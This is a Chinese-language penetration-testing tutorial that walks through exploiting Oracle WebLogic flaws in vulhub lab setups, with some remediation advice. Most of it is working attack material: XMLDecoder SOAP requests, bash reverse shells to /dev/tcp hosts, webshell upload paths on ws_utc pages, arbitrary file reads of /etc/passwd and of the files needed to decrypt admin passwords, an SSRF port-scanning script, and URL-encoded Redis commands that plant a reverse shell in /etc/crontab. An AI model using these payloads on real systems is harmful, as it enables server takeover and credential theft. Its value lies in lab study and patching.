环境搭建 :https://vulhub.org/
推荐两款weblogic漏洞检测工具
https://github.com/tangxiaofeng7/Weblogic-scan
https://github.com/rabbitmask/WeblogicScan
经测试两款工具皆有误报,建议一起使用。如有更好检测利用的欢迎留言推荐
一、weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
1.漏洞原理分析
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
2.漏洞利用
1、初步判断:访问 http://192.168.8.148:7001/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞
或用工具检测
2.通过burpsuit抓包 构造POC 写文件
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: XX.XX.XX.XX:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 702
PS:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/
访问试一下成功写入
3.反弹shell
POC
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.15:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637
/bin/bash
-c
bash -i >& /dev/tcp/192.168.1.31/8884 0>&1
成功监听
3.修复建议
-
- Oracle官方对于WebLogicWLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,并升级WebLogic。
-
- 根据实际环境路径,删除WebLogic wls-wsat组件,并重启服务器。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
二、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
1.漏洞概要
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
三、Weblogic 任意文件上传漏洞(CVE-2018-2894)
1.漏洞背景
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
漏洞原理:https://www.freebuf.com/vuls/178510.html
2.涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
3.漏洞地址
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。
/ws_utc/config.do 和 /ws_utc/begin.do
4.复现步骤
一、/ws_utc/config.do上传漏洞
1、访问/ws_utc/config.do,修改当前的工作目录为其他目录。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
2、点击左侧"安全"菜单,添加Keystore,设置默认名字和密码。
3.上传后,查看返回的数据包,其中有时间戳
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
websheLL界面
4.触发条件
1.需要知道部署应用的web目录。
-
-
ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。具体可见Oracle® Fusion Middleware Administering Web Services
-
二、/ws_utc/begin.do页面上传漏洞
页面虽然报错,实际已经上传成功
直接访问http://xxxxx:7001/ws_utc/css/upload/RS_Upload_2020-10-30_09-20-18_604/import_file_name_ma1.jsp
4.修复建议
- 1.设置Config.do、begin.do页面登录授权后访问;
- 2.IPS等防御产品可以加入相应的特征;
- 3.升级到官方最新版本。
四、Weblogic 常规渗透测试环境
1.弱口令
访问http://your-ip:7001/console
,即为weblogic后台。
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
2.后台上传shell
1.获取到密码后部署安装
2.点击安装,选择“上载文件”:
3.依次点击下一步完成,先把shell文件压缩成ZIP,然后改后缀war上传
4.点击启动部署
5.上传成功
3.任意文件读取
访问路径,可下载读取任意文件
访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件
- 1.更深入的利用任意文件读取。
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。
/hello/file.jsp?path=security/SerializedSystemIni.dat
在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
/hello/file.jsp?path=config/config.xml
-
2.拿到SerializedSystemIni.dat文件后,使用工具weblogic_decrypt.jar进行直接解密。
灰常简单,选择SerializedSystemIni.dat文件,填入密文,即可解密。
解密可以参考重剑无锋大佬文章。
https://www.freebuf.com/articles/web/220147.html
五、Weblogic SSRF漏洞
1、访问地址,查看是否存在
http://172.21.0.3:7001/uddiexplorer/
2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp
3、使用Burpsuite测试,因为访问的是内网IP,按道理来说应该是拒绝访问的。
4、访问存在的端口时,比如http://127.0.0.1,可访问的端口将回显错误,一般返回内容为status code,如果访问的是非http协议的话,则返回did not have a valid SOAP content-type
5、访问不存在的端口时,将返回could not connect HTTP server
6、可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是
docker的网段(docker环境的网段一般是172.*):
使用脚本进行探测:
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.21.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
运行后得到:
发现存在6379端口,开放redis服务。
通过发送三条redis命令,将反弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意:换行符是"\r\n",也就是"%0D%0A")
%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61
把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后
使用nc -lvnp 21进行监听,反弹shell。
可利用的cron:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件